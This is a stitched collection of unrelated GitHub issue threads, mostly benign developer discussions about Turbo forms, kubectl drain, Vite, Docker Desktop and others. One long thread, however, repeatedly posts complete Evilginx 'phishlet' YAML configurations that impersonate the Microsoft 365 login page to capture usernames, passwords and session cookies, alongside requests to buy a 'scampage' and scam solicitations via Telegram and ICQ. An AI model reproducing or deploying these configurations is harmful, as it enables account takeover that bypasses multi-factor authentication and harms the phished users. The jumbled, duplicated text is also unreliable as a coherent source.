Looks like the right direction.

Refactored a bit more and added a bit of test coverage, this should be okay for review now.


feat: Scroll using PageUp and PageDown

Fixes #5765.  Includes a test.

Thanks @DanielJGeiger!
Added support for x-axis movement using Shift.


Is there a working o365 method that grabs cookies (I have tried all the suggestions).

Like many people, I am having issues with the o365 template. The o365 account loads and the username and password are grabbed. However, there are no cookies.
I have spent some time trying the various suggestions from this site but they do not work for me.
For example:
auth_tokens:
 - domain: 'login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']

auth_tokens:
 - domain: '.login.microsoftonline.com'
   keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']
credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
    type: 'post'
  password:
    key: '(passwd|Password)'
    search: '(.*)'
    type: 'post'
login:
  domain: 'login.microsoftonline.com'
  path: '/'
  path: '/'

Is there any kind of working solution to this? I am happy to test suggestions and post the results.

proxy_hosts:

{phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}

auth_urls:

'/kmsi*'

I got latest o365 phishlets off kgretzky..... Y'all can reach support on icq @mrgretzky

Got working phishlets for o365 captures cookies, telegram me @ghoxt007

@squodgeface be careful with sending any ₿₿₿ to these guys
did you try #760?

Seems like an issue with your authentication tokens but will have to see how your o365 phishlet is coded to tell

i just noticed this:
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT', 'SignInStateCookie']

i feel like having 2 "keys" arrays isn't going to solve your problems. did you actually run this or made a mistake copy-pasting it to github?
also why dont you just try capturing all of the cookies via regexp? it's what's in my phishlet at the moment
auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

@456478 - thank you for your suggestions. I have tried the regexp method but I still have the same problem: it captures the username and password but no cookies. I also set the auth_tokens to capture esctx which is one of the first cookies set by o365 (before the username and password are entered). Again, no cookies are captured.
I have pasted my o365.yaml below and made a few comments with # This is the original file modified as suggested. Should I add or delete something? Any ideas will be welcomed.

name: 'o365'
author: '@jamescullum'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: false, is_landing:false}
  # The lines below are needed if your target organization utilizes ADFS.
  # If they do, you need to uncomment all following lines that contain <...>
  # To get the correct ADFS subdomain, test the web login manually and check where you are redirected.
  # Assuming you get redirected to adfs.example.com, the placeholders need to be filled out as followed:
  #    <insert-adfs-subdomain> = adfs
  #    <insert-adfs-host> = example.com
  #    <insert-adfs-subdomain-and-host> = adfs.example.com
  #- {phish_sub: 'adfs', orig_sub: '<insert-adfs-subdomain>', domain: '<insert-adfs-host>', session: true, is_landing:false}
  #- {phish_sub: 'adfs', orig_sub: '<insert-adfs-subdomain>', domain: '<insert-adfs-host>:443', session: true, is_landing:false}
sub_filters:
  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'href="https://{hostname}', replace: 'href="https://{hostnam>
  - {triggers_on: 'login.microsoftonline.com', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: >
  # Uncomment and fill in if your target organization utilizes ADFS
  #- {triggers_on: '<insert-adfs-subdomain-and-host>', orig_sub: 'login', domain: 'microsoftonline.com', search: 'https://{hostname}', replace: 'https://{hostname}',>
auth_tokens:
  - domain: '.microsoftonline.com' # I also tried .login.microsoftonline.com
    keys: ['.*,regexp'] # to get all cookies
auth_urls:
  - '/kmsi' # to tell EG that the session is over once this URL is displayed (and therefore to record the cookies)
credentials:
  username:
    key: '(login|UserName)' # gets username fine
    search: '(.*)'
    type: 'post'
  password:
    key: '(passwd|Password)' # gets password fine
    search: '(.*)'
    type: 'post'
login:
  domain: 'login.microsoftonline.com'
  path: '/'

Auth URL: kmsi should end with an asterisk
/kmsi*
also are you sure you aren't using a live.com account to test? that would give cookies under a domain evilginx isn't listening for

@456478 Thank you. I have tried /kmsi* but that did not change anything.
I am not using a live.com account. I am using a paid for o365 account which uses my domain name.
The main problem is this: EG does not think that the session has ended and therefore does not record any cookies. The redirection never happens.
I have tried with other sites and the cookies are recorded and then the redirection happens. I just cannot get this to work for o365.
I would really appreciate a copy of your phishlet. That would be great and very generous.

Checkout

Nakedpages-Builder new Phishing app which allows you to run a battle tested and experienced phishing app in nodesJS, using a few lines of autogenerated JS code, Configuration for each project are written in Plain Javascript thus making everything and anything possible also giving you access to low level access to request/response object without making changes to the binary the whole platform runs on.

https://github.com/nakedpages

Support was able to make my o365 phishlets forward results to mail and it was all on the .yaml best you work with some experience https://icq.im/mrgretzky could help fix your phishlet issue

Support was able to make my o365 phishlets forward results to mail and it was all on the .yaml best you work with some experience https://icq.im/mrgretzky could help fix your phishlet issue

Scammer noticed

Feel free to mark his messages. Anybody giving coins to that account deserves to lose them: "Talk to the author", spare me the laughter

working O365 phishlets captures cookies telegram me @ghoxt007

I also have one which removes the long "Please wait, loading" modal, only captures the auth cookies (no regex) and has email prefill (plus support's non o365 emails)
name: "o365"
author: "@456478"
min_ver: "2.3.0"
proxy_hosts:
  - { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "acc", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript], redirect_only: true }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "text/javascript", "application/json"] }

auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "LoginOptions", search: "1" }
    force:
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/kmsi*"

credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
  password:
    key: '(passwd|Password)'
    search: '(.*)'

login:
  domain: "login.microsoftonline.com"
  path: "/"

Lol don't telegram me, or anybody for it: here's the o365 that captures cookies. I also have one which removes and doesn't get stuck on the long "Please wait, loading" modal, only captures the auth cookies (no regex) and has email prefill (not even saying it support's all [non o365] emails)
name: "o365"
author: "@456478"
min_ver: "2.3.0"
proxy_hosts:
  - { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "acc", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript], redirect_only: true }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "text/javascript", "application/json"] }

auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "LoginOptions", search: "1" }
    force:
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/kmsi*"

credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
  password:
    key: '(passwd|Password)'
    search: '(.*)'

login:
  domain: "login.microsoftonline.com"
  path: "/"

When I open the Phishlets its works but when i click on sign in it give me no server found ?

Lol don't telegram me, or anybody for it: here's the o365 that captures cookies. I also have one which removes and doesn't get stuck on the long "Please wait, loading" modal, only captures the auth cookies (no regex) and has email prefill (not even saying it support's all [non o365] emails)
name: "o365"
author: "@456478"
min_ver: "2.3.0"
proxy_hosts:
  - { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "acc", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript], redirect_only: true }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "text/javascript", "application/json"] }

auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "LoginOptions", search: "1" }
    force:
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/kmsi*"

credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
  password:
    key: '(passwd|Password)'
    search: '(.*)'

login:
  domain: "login.microsoftonline.com"
  path: "/"

When I open the Phishlets its works but when i click on sign in it give me no server found ?

Hmm, don't know. I published a new o365 phishlet in a PR, so anybody looking for a o365 phishlet go try  #778

i got it working, took me a few hours to figure it out, so pretty sure anyone else can get it working :)

I've been battling with it for over hours now. What did you do?

i got it working, took me a few hours to figure it out, so pretty sure anyone else can get it working :)

Lol don't telegram me, or anybody for it: here's the o365 that captures cookies. I also have one which removes and doesn't get stuck on the long "Please wait, loading" modal, only captures the auth cookies (no regex) and has email prefill (not even saying it support's all [non o365] emails)
name: "o365"
author: "@456478"
min_ver: "2.3.0"
proxy_hosts:
  - { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "acc", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript], redirect_only: true }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "text/javascript", "application/json"] }

auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "LoginOptions", search: "1" }
    force:
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/kmsi*"

credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
  password:
    key: '(passwd|Password)'
    search: '(.*)'

login:
  domain: "login.microsoftonline.com"
  path: "/"

    [

        ![office_demo30_800](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

    ](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

      [

      ](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

When I open the Phishlets its works but when i click on sign in it give me no server found ?

Were you able to make it work for adfs?

@schneider-san What did you guys do to make it work? I used the code above for the o365 yaml but unfortunately i'm getting this -

while in the "sessions" table it doesn't show the session as "captured"

Thanks in advance

Lol don't telegram me, or anybody for it: here's the o365 that captures cookies. I also have one which removes and doesn't get stuck on the long "Please wait, loading" modal, only captures the auth cookies (no regex) and has email prefill (not even saying it support's all [non o365] emails)
name: "o365"
author: "@456478"
min_ver: "2.3.0"
proxy_hosts:
  - { phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true, is_landing: true, auto_filter: false }
  - { phish_sub: "www", orig_sub: "www", domain: "office.com", session: true, is_landing: false, auto_filter: false }
  - { phish_sub: "acc", orig_sub: "account", domain: "microsoft.com", session: true, is_landing: false, auto_filter: false }

sub_filters:
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "https://{hostname}", replace: "https://{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript], redirect_only: true }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "account", domain: "microsoft.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "application/json", "application/javascript", "application/x-javascript", text/javascript] }
  - { triggers_on: "login.microsoftonline.com", orig_sub: "www", domain: "office.com", search: "{hostname}", replace: "{hostname}", mimes: ["text/html", "text/javascript", "application/json"] }

auth_tokens:
  - domain: ".microsoftonline.com"
    keys: [".*,regexp"]

force_post:
  - path: "/ppsecure/post*"
    search:
      - { key: "LoginOptions", search: "1" }
    force:
      - { key: "DontShowAgain", value: "true" }
    type: "post"

auth_urls:
  - "/kmsi*"

credentials:
  username:
    key: '(login|UserName)'
    search: '(.*)'
  password:
    key: '(passwd|Password)'
    search: '(.*)'

login:
  domain: "login.microsoftonline.com"
  path: "/"

    [

        ![office_demo30_800](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

    ](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

      [

      ](https://user-images.githubusercontent.com/33309474/167519686-856f1049-b435-4515-ab11-261ac9a4ea91.gif)

When I open the Phishlets its works but when i click on sign in it give me no server found ?

Can you share the scampage please? 🙏🏼

Can you please the Scampage and the cookies link again i want to buy pls

Telg; @otunbaidaan


Handling form submission validation errors within a modal

I'm trying to submit a form from within a modal overlay, and I'm struggling to find the right approach for handling validation errors with Turbo.
I'm wrapping the form in a turbo-frame tag so that I can gracefully hide the modal on a successful 200 response rather than letting the redirect swap out out the body. I have a Stimulus controller that hides my modal if the form receives a successful 200 response from the turbo:submit-end event. This works great as long as the response is a 200 without validation errors.
But when the form response comes back with validation errors and unprocessable_entity status, my new turbo -frame tag with form validation errors is not swapped with the old form turbo-frame. Of course, if I send back a 200 status it works, but in that case, my stimulus controller detects a successful response and hides the modal.
What would be a more sound approach for handling form error validation with Turbo from within a modal?

Does the template you're rendering as part of the unprocessable_entity response include a <turbo-frame> element with an [id] attribute that matches the one that contains the <form> element?

Does the template you're rendering as part of the unprocessable_entity response include a <turbo-frame> element with an [id] attribute that matches the one that contains the <form> element?

Does the template you're rendering as part of the unprocessable_entity response include a <turbo-frame> element with an [id] attribute that matches the one that contains the <form> element?

Yes, they both <turbo-frame> tags use the same id.

Does the template you're rendering as part of the unprocessable_entity response include a <turbo-frame> element with an [id] attribute that matches the one that contains the <form> element?

Yes, they both <turbo-frame> tags use the same id.

@culov I can only comment here from a Django perspective. I have a similar setup (Modal triggered by a Stimulus controller). Django returns a 200 on Validation Errors so I want my frame replaced by the response (the returned Form with errors). In case of a successful submission I get a 303 from Django (which I catch in the turbo:submit-end as well) and close my modal then as well (or perform a global redirect with Turbo.visit()).
Wouldnt something like that work? But I know that Rails handles the responses to Form submissions quite different...

@culov I can only comment here from a Django perspective. I have a similar setup (Modal triggered by a Stimulus controller). Django returns a 200 on Validation Errors so I want my frame replaced by the response (the returned Form with errors). In case of a successful submission I get a 303 from Django (which I catch in the turbo:submit-end as well) and close my modal then as well (or perform a global redirect with Turbo.visit()).
Wouldnt something like that work? But I know that Rails handles the responses to Form submissions quite different...


What you expected to happen:
I would expect kubectl to completly ignore Pods owned by Daemonsets when filtering the Pods.
How to reproduce it (as minimally and precisely as possible):

Create a cluster with kind.
kind create cluster

Dry run a drain and view the API calls.
kubectl drain kind-control-plane --ignore-daemonsets=true --dry-run=server -v=8

The DaemonSet on the node will be fetched.
I0526 17:28:22.796571  341196 round_trippers.go:463] GET https://<IP_ADDRESS>:38773/apis/apps/v1/namespaces/kube-system/daemonsets/kindnet
I0526 17:28:22.796582  341196 round_trippers.go:469] Request Headers:
I0526 17:28:22.796587  341196 round_trippers.go:473]     Accept: application/json, */*
I0526 17:28:22.796593  341196 round_trippers.go:473]     User-Agent: kubectl/v1.24.0 (linux/amd64) kubernetes/4ce5a89
I0526 17:28:22.797506  341196 round_trippers.go:574] Response Status: 200 OK in 0 milliseconds
I0526 17:28:22.797520  341196 round_trippers.go:577] Response Headers:
I0526 17:28:22.797525  341196 round_trippers.go:580]     Content-Type: application/json
I0526 17:28:22.797530  341196 round_trippers.go:580]     X-Kubernetes-Pf-Flowschema-Uid: a18e07ff-6940-45a1-a131-549ae8d386dd
I0526 17:28:22.797534  341196 round_trippers.go:580]     X-Kubernetes-Pf-Prioritylevel-Uid: bbe19b74-280f-4d20-845d-2868cfdcb516
I0526 17:28:22.797539  341196 round_trippers.go:580]     Date: Thu, 26 May 2022 15:28:22 GMT
I0526 17:28:22.797543  341196 round_trippers.go:580]     Audit-Id: d684746b-d035-4307-84f4-a395efc2200a
I0526 17:28:22.797548  341196 round_trippers.go:580]     Cache-Control: no-cache, private
I0526 17:28:22.797616  341196 request.go:1073] Response Body: {"kind":"DaemonSet","apiVersion":"apps/v1","metadata":{"name":"kindnet","namespace":"kube-system","uid":"a0e2ef5a-87ec-47fc-a1b9-bcbed5302209","resourceVersion":"406","generation":1,"creationTimestamp":"2022-05-26T15:26:38Z","labels":{"app":"kindnet","k8s-app":"kindnet","tier":"node"},"annotations":{"deprecated.daemonset.template.generation":"1"},"managedFields":[{"manager":"kubectl-create","operation":"Update","apiVersion":"apps/v1","time":"2022-05-26T15:26:38Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:deprecated.daemonset.template.generation":{}},"f:labels":{".":{},"f:app":{},"f:k8s-app":{},"f:tier":{}}},"f:spec":{"f:revisionHistoryLimit":{},"f:selector":{},"f:template":{"f:metadata":{"f:labels":{".":{},"f:app":{},"f:k8s-app":{},"f:tier":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"kindnet-cni\"}":{".":{},"f:env":{".":{},"k:{\"name\":\"CONTROL_PLANE_ENDPOINT\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"HOST_IP\"}":{".":{},"f:name":{},"f:valueFrom":{".":{},"f:fiel [truncated 3553 chars]

Anything else we need to know?:
It is pretty questionable if this is actually an issue. It is from my part not expected that there is code which is getting each DaemonSet when you explicitly ignore DaemonSets. It might just be an oversight or behavior that is actually wanted.
The following code is where my issue is at. It will always check that a Pod is not orphaned by a DaemonSet.
https://github.com/kubernetes/kubectl/blob/1d7e71a12f476bb95d1eb550130505678d0d3c08/pkg/drain/filters.go#L190-L203
It is not really a big deal, but changing the order of these function calls can decrease the RBAC permissions needed to drain a node.
Environment:

Kubernetes client and server versions (use kubectl version): Client Version: version.Info{Major:"1", Minor:"24", GitVersion:"v1.24.0", GitCommit:"4ce5a8954017644c5420bae81d72b09b735c21f0", GitTreeState:"archive", BuildDate:"2022-05-04T15:25:22Z", GoVersion:"go1.18.1", Compiler:"gc", Platform:"linux/amd64"}
Cloud provider or hardware configuration: Kind
OS (e.g: cat /etc/os-release): Arch Linux

is this resulting in an actual error to the user if they don't have permission?

Yes, I tried to fix it in https://github.com/kubernetes/kubernetes/pull/109610.


Problems with repeat

Hi guys,
Tried to use repeating task functionality
Here goes what your README says:
Repeating Tasks
Repeating tasks can be initialized like this:
notify_user(user.id, repeat=, repeat_until=)
Here goes my stuff:
the function to repeat itself:
@background(schedule=20)
def run_tracker(fake_param):
devlog.info('TRACKER IS RUNNING')
initialised on startup as follows:
run_tracker(None, repeat=30)
Here goes the error I'm getting when running python manage.py process_tasks
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/background_task/tasks.py", line 49, in bg_runner
func(*args, **kwargs)
TypeError: run_tracker() got an unexpected keyword argument 'repeat'
Here goes your decorator (found it in your source code).
It does not have 'repeat' argument indeed.
def background(self, name=None, schedule=None, queue=None):
'''
decorator to turn a regular function into
something that gets run asynchronously in
the background, at a later time
'''
Where am I wrong?
Thank you!
Eugene

Hi @the-doktor
Thanks for reporting this Issue.
To Help you with you problem i first need to know which version you have installed. The "repeat" feature is still in beta and we hasn't been released it yet.
To use the beta you have to explicitly install the release candidate with pip install django-backgorund-tasks==1.1.0rc3. Otherwise the latest stable version will be installed.
Can you please double check that.

Hi @walterrenner
Thank you for the reply!
I used version 1.0.15
Tried to install release candidate as you suggested, got this
pip install django-backgorund-tasks==1.1.0rc3
Downloading/unpacking django-backgorund-tasks==1.1.0rc3
Could not find any downloads that satisfy the requirement django-backgorund-tasks==1.1.0rc3
Cleaning up...
No distributions at all found for django-backgorund-tasks==1.1.0rc3

@the-doktor beside having a typo in your call (django-backgorund-tasks==1.1.0rc3) version 1.1.0rc2 is the latest RC published. There is a race condition in the RC version of this module in case you are using multiple thread. I suggest to wait for the next stable version coming in the next days.

#79

Im getting the same error, i'm running version 1.2.5


Dont work "GitHub issues by-label" with npm scoped packages

Dont work "GitHub issues by-label" with npm scoped packages.
My issues label equal to the name of the module.
my shield dont work<EMAIL_ADDRESS>in github: https://github.com/IgorNovozhilov/ndk/labels/@ndk/cfg
in npmjs: https://www.npmjs.com/package/@ndk/cfg
shields: https://shields.io/#/examples/issue-tracking
shield: GitHub issues by-label

Hey, thanks for your question.
I think what you want is this:
https://img.shields.io/github/issues-raw/IgorNovozhilov/ndk/cfg.svg

Hope that helps!

Yes, I have considered this decision earlier. But I wanted to use full module names as a name of label. Moreover, github allows you to do it.

Ahh, I gotcha. Your label has an @ and a slash in it: @ndk/cfg. Yea, that’s something we could fix.

the best, it's working


Clarification on DockerDesktop installation

Hello Team,
Need support on Docker Desktop application installation and uninstallation from Docker Engineers.
1.“Support option” should be disabled under “Troubleshoot”. User should not Click on “Get support” from the application.
2.Metering of the usage by end users should be visible for the admins on the Docker Hub. This way we can easily remove licenses that is not used for a period of 30/60 days.
3.When users login to Docker Hub, they can view other team members and to which group they have been added from their account. This is not a standard behavior and we would prefer to keep the data confidential. We need steps/process how to hide the data.
4.When creating the repository there are two options: Public and Private.
We would like to know how exactly the Public option works out.
5.We require an Uninstaller setup file, which handles the removal of all versions of manually installed Docker software from user’s machine along with residues.
The provided Uninstaller will be handled in the PowerShell script in our environment to deploy it via SCCM. While handling this Uninstaller, any other applications should not be affected.
Thank You!
Regards,
Bhuvanaprabha

Hello Team,
I would like to request the team to provide clarification on higher priority. Also add up the additional clarification points.
Here are the list of points which we require PowerShell commands :

Need to suppress the Agreement terms. User should not get this pop-up while launching the application for the first time. By default, application should be launched without asking for “Check mark” and “Accept”.
After launching the application, there is an option to “Check for updates” under "Settings". We do not prefer to automatically do updates from customer’s side. We need PowerShell script to disable all the options in Software Updates including the “Upgrade” option on the top right side.

“Support option” should disabled under “Troubleshoot”. User should not be able to Click on Get support from the application.

Thank You!
Regards,
Bhuvanaprabha

@Bhuvanaprabha As discussed in our phone call, the request for WSL 2 silent install is Microsoft's code not ours, but I have forwarded your request to them.

Closing as not planned given Stephen's clarification above. Thanks for submitting this issue.


Add MySQL support.

Add MySQL support to KubeArchive.

Why do we need MySQL support?

Why do we need MySQL support?

Because it increases our potential user base?  And because it's not hard?
As Postgres gains more momentum, it becomes harder to pick between Postgres and MySQL. MySQL is probably still the world's most popular open source database by install base. While Postgres positions itself as the world's most advanced open source relational database.```
From https://www.bytebase.com/blog/postgres-vs-mysql/.


dev server: debug flag overrides DEBUG env variable

Describe the bug
Running DEBUG=* vite dev --debug enables only debug on vite:* instead of *, because vite overrides DEBUG env.
Expected behavior: vite leaves DEBUG=* or DEBUG=*,vite:* and all debugs are printed
Actual behavior: vite replaces DEBUG=vite:* and only vite's debugs are printed.
Source location of the issue:
https://github.com/vitejs/vite/blob/f346d89741b3c3a5287ce8b03637e520777d3674/packages/vite/bin/vite.js#L31
Should I prepare a PR for this or is it the intended behavior?
Reproduction
https://stackblitz.com/edit/vitejs-vite-rucrtg?devtoolsheight=33&file=package.json
System Info
System:
    OS: Linux 5.15 Arch Linux
    CPU: (12) x64 Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz
    Memory: 2.13 GB / 31.23 GB
    Container: Yes
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 17.1.0 - /usr/sbin/node
    Yarn: 1.22.17 - /usr/sbin/yarn
    npm: 8.1.3 - /usr/sbin/npm
  Browsers:
    Chromium: 96.0.4664.93
    Firefox: 95.0
  npmPackages:
    @vitejs/plugin-vue: ^2.0.1 => 2.0.1
    vite: ^2.7.10 => 2.7.10

Used Package Manager
yarn
Logs
No response
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/vue-next instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

please add a good reason why this should be changed

I think current behavior is unintuitive and hurts UX.
When trying to debug some third-party vite plugin i started off with vite dev --debug and it took me a while to find out that this actually prevents me from debugging anything else.

I have updated the reproduction.
This issue seems simple in the reproduction example. Let there be backend stack with vite wrapper, docker and a bunch other libraries -  suddenly this switch can become a few hours of debugging.

I think this is a good change @zygzagZ, --debug should only widen the scope of DEBUG var instead of overriding it. PR welcome


Graduation review for Carbon Aware SDK v1

Context
In the October OC meeting we agreed to start the project graduation review process for the Carbon Aware SDK.
Criteria

The OC has the information it needs about CASDK v1 to determine whether it merits moving to the Graduated stage.
The OC has a clear set of criteria that it can used to make the decision in a fair and unbiased way.
Graduation Reviews take place in monthly OC calls
There is a suitable celebration arranged if/when the graduation is approved.

Actions

[x] Agree the Incubation Exit Criteria / https://github.com/Green-Software-Foundation/oc/issues/23
[ ] Schedule the graduation review for December meeting

Pushing the graduation review back from December to January 2nd OC meeting (although we assume this could be async due to holiday period).
We're doing this because we're focusing on Carbon Aware SDK v1.2 release 12th December.
After that we'll prioritise additional documentation for Graduation v1.3 release.

21st February update
The Carbon Aware SDK team are now ready to commence the Lifecycle Stage change approval process.
Evidence of the project's fulfilment of the Graduated Lifecycle Stage Acceptance criteria is documented in this issue. #79
I will circulate this via the Oversight Committee email mailing list and raise a motion to approve there.
cc Project Leads @vaughanknight @Willmish


config formatter not working?

I'm trying to add a formatter to the configuration file. I run into a strange problem. I cannot use standard lua functions. for pairs, ipairs, table functions are not recognized.
I'm using the current latest version of the windows precompiled binairy of luacheck. Rest of config is empty.
This works:
  formatter = function(report, filenames, combined_opts)
    return "Test 1\r\nTest 2\r\n"
  end

This fails with error

Critical error: Couldn't run custom formatter 'function: 00000177b50307f0': [string "chunk"]:3: attempt to call a nil value (global 'pairs')

  formatter = function(report, filenames, combined_opts)
    local days = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}
    for j, i in pairs(days) do
    end
    return ""
  end

I fixed it by using the not a function but a custom formatter name.
Added next in the config file.
formatter = "customFormatter"
Next in the customFormatter.lua
return function(report, filenames, combined_opts)
    local days = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}
    for j, i in pairs(days) do
    end
    return ""
end

Of course the content of the function is useless as a formatter.  But is executed without errors.


Use position absolute to hide

Angular material positioning doesn't work right with display:none, need to manually move things around to make them work when transferred from static to angular.
For now I'm leaving this as a draft PR, until I have time to go over all the guidelines.
PR Checklist
Please check if your PR fulfills the following requirements:

